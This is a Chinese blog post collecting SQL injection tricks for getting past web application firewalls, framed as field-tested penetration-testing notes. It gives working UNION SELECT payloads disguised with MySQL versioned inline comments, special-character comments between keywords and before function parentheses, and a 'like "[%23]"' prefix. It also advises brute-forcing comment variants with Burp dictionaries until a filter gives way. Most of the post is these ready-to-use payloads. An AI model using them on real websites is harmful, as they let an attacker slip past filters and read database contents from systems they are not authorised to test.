作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构每日emo:想把世上所有的情话都说给你听
SQL注入bypass一直是个技术活,技巧也非常多,但有些技巧不是一直都好用的,所以写下这篇博客来记录我自己认为的平时比较好用的bypass技巧,都是经过了实战渗透检测的,目前内容较少,会实时更新,建议收藏
目录
一:内联注释
二:魔法注释
三:like "[%23]"
一:内联注释
适用环境:某个函数被识别造成拦截后
格式:/*![五位数字版本号] [原函数]*/
实例:
原: -1 ' union select 1,database(),3 %23
情景一:union函数被识别,遭到WAF拦截,需过滤函数
防过滤:-1 ' /*!12345union*/ select 1,database(),3 %23
注意:其中的12345是版本号,并不一定是12345,但肯定是五位数字,所以通常都是使用burp批量跑五位数字的字典,最后成功bypass
二:魔法注释
适用环境:某个位置的空格或者带有括号的函数被识别引起过滤
格式:/*[特殊字符构成的字符串]*/
实例:
原: -1 ' union select 1,database(),3 %23
情景一:union和select之间的空格需要做防过滤
防过滤:-1 ' union/*--+*/select 1,database(),3 %23
情景二:database()函数被识别,需要过滤
放过滤: -1 ' union select 1,database/*//-*/(),3 %23
同样的道理,这里的/*和*/中间的特殊字符串也不是固定的,直接用特殊字符生成字典,再burp批量跑即可
三:like "[%23]"
这是目前比较新的一种过滤方式,也成为很多自写防护规则网站的突破口
格式 like "[%23]"
适用:这个倒是没有什么适用的环境,总之就是迷惑性很强,会将前面的内容识别为空,再将攻击语句放在后面即可,
在平时的sql注入时,加单引号没问题就直接放弃了?不妨试试这个方法
实例
原: 1 ' union select 1,database(),3 %23
防过滤:1 like "[%23]" union select 1,database(),3 %23